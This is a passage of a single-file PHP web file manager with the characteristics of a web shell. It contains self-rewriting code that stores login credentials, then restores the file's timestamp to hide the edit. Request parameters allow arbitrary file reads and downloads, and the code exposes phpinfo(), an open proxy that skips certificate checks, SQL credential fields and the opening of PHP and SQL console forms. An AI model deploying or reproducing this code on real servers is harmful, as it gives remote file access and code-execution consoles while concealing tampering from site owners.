                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,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");

}


.file {

                        background-image: url("data:image/png;base64,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");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

